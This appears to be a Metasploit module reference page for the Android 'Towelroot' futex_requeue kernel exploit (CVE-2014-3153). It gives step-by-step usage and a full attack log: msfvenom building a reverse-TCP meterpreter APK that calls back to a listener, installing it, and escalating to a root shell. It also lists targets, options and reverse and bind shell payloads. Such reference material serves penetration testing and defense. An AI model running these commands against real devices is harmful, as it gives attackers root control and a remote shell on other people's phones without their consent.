Android 'Towelroot' Futex Requeue Kernel Exploit - Metasploit


This page contains detailed information about how to use the exploit/android/local/futex_requeue metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Android 'Towelroot' Futex Requeue Kernel Exploit
Module: exploit/android/local/futex_requeue
Source code: modules/exploits/android/local/futex_requeue.rb
Disclosure date: 2014-05-03
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-3153

This module is also known as towelroot.

This module exploits a bug in futex_requeue in the Linux kernel, using similar techniques employed by the towelroot exploit. Any Android device with a kernel built before June 2014 is likely to be vulnerable.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/android/local/futex_requeue
msf exploit(futex_requeue) > show targets
    ... a list of targets ...
msf exploit(futex_requeue) > set TARGET target-id
msf exploit(futex_requeue) > show options
    ... show and set options ...
msf exploit(futex_requeue) > set SESSION session-id
msf exploit(futex_requeue) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This module exploits a Linux Kernel vulnerability, which is also available in the Android kernel, in a Linux subsystem call of futex. It does not trip (set off) Samsung NOX as of the time of writing.

Failed exploitation attempts may reboot the device.

Verification Steps

  1. Start msfconsole
  2. Get a shell on a vulnerable android device
  3. Do: use exploit/android/local/futex_requeue
  4. Select an appropriate target
  5. Do: set lhost [IP]
  6. Do: run
  7. You should get a root shell.

Targets

0 Automatic Targeting

Attempt to automatically determine the target

1 Default

Nexus 4, 5, 7, etc

2 New Samsung

Samsung S3, S4, S5, etc

3 Old Samsung

Samsung Note 2, etc

4 Samsung Grand

Samsung Grand, etc

Scenarios

Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)

The following was used to generate a meterpreter Android application, and it was installed to the device.

  msfvenom -p android/meterpreter_reverse_tcp LHOST=111.111.1.111 LPORT=9999 -o /var/www/html/android.apk

[*] Processing android.128.rb for ERB directives.
resource (android.128.rb)> use exploit/multi/handler
resource (android.128.rb)> set payload android/meterpreter_reverse_tcp
payload => android/meterpreter_reverse_tcp
resource (android.128.rb)> set lport 9999
lport => 9999
resource (android.128.rb)> set lhost 111.111.1.111
lhost => 111.111.1.111
resource (android.128.rb)> run
[*] Started reverse TCP handler on 111.111.1.111:9999 
[*] Meterpreter session 1 opened (111.111.1.111:9999 -> 222.222.2.222:56975) at 2019-10-22 20:56:34 -0400
WARNING: Local file /root/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
WARNING: Local files may be incompatible with the Metasploit Framework

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.4.2 - Linux 3.4.0-1542239 (armv7l)
Meterpreter : dalvik/android
meterpreter > getuid
Server username: u0_a191
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/android/local/futex_requeue 
msf5 exploit(android/local/futex_requeue) > set session 1
session => 1
msf5 exploit(android/local/futex_requeue) > set verbose true
verbose => true
msf5 exploit(android/local/futex_requeue) > set lhost 111.111.1.111
lhost => 111.111.1.111
msf5 exploit(android/local/futex_requeue) > check

[+] Android version 4.4.2 appears to be vulnerable
[*] The target appears to be vulnerable.
msf5 exploit(android/local/futex_requeue) > run

[*] Started reverse TCP handler on 111.111.1.111:4444 
[+] Android version 4.4.2 appears to be vulnerable
[*] Found device: d2vzw
[*] Fingerprint: Verizon/d2vzw/d2vzw:4.4.2/KOT49H/I535VRUDNE1:user/release-keys
[*] Using target: New Samsung
[*] Loading exploit library /data/data/com.metasploit.stage/files/thelr
[*] Loaded library /data/data/com.metasploit.stage/files/thelr, deleting
[*] Waiting 300 seconds for payload
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (904600 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:37502) at 2019-10-22 20:57:45 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

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Msfconsole Usage

Here is how the android/local/futex_requeue exploit module looks in the msfconsole:

msf6 > use exploit/android/local/futex_requeue

[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(android/local/futex_requeue) > show info

       Name: Android 'Towelroot' Futex Requeue Kernel Exploit
     Module: exploit/android/local/futex_requeue
   Platform: Android, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-05-03

Provided by:
  Pinkie Pie
  geohot
  timwr

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Default
  2   New Samsung
  3   Old Samsung
  4   Samsung Grand

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 2048

Description:
  This module exploits a bug in futex_requeue in the Linux kernel, 
  using similar techniques employed by the towelroot exploit. Any 
  Android device with a kernel built before June 2014 is likely to be 
  vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-3153
  http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/
  http://blog.nativeflow.com/the-futex-vulnerability

Also known as:
  towelroot

Module Options

This is a complete list of options available in the android/local/futex_requeue exploit:

msf6 exploit(android/local/futex_requeue) > show options

Module options (exploit/android/local/futex_requeue):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Advanced Options

Here is a complete list of advanced options supported by the android/local/futex_requeue exploit:

msf6 exploit(android/local/futex_requeue) > show advanced

Module advanced options (exploit/android/local/futex_requeue):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ForceExploit            false            no        Override check result
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                300              no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the android/local/futex_requeue module can exploit:

msf6 exploit(android/local/futex_requeue) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Default
   2   New Samsung
   3   Old Samsung
   4   Samsung Grand

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the android/local/futex_requeue exploit:

msf6 exploit(android/local/futex_requeue) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  payload/linux/x86/read_file                                        normal  No     Linux Read File
   19  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the android/local/futex_requeue exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/local/futex_requeue) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Android version <OS> does not appear to be vulnerable

Here is a relevant code snippet related to the "Android version <OS> does not appear to be vulnerable" error message:

96:	  end
97:	
98:	  def check
99:	    os = cmd_exec("getprop ro.build.version.release")
100:	    unless Rex::Version.new(os) < Rex::Version.new('4.5.0')
101:	      vprint_error "Android version #{os} does not appear to be vulnerable"
102:	      return CheckCode::Safe
103:	    end
104:	    vprint_good "Android version #{os} appears to be vulnerable"
105:	
106:	    CheckCode::Appears

Could not automatically target <PRODUCT>

Here is a relevant code snippet related to the "Could not automatically target <PRODUCT>" error message:

141:	        "baffinlite",
142:	        "Vodafone_785",
143:	      ].include? product
144:	        my_target = targets[4] # Samsung Grand
145:	      else
146:	        print_status("Could not automatically target #{product}")
147:	        my_target = targets[1] # Default
148:	      end
149:	    else
150:	      my_target = target
151:	    end

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Pinkie Pie
  • geohot
  • timwr

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

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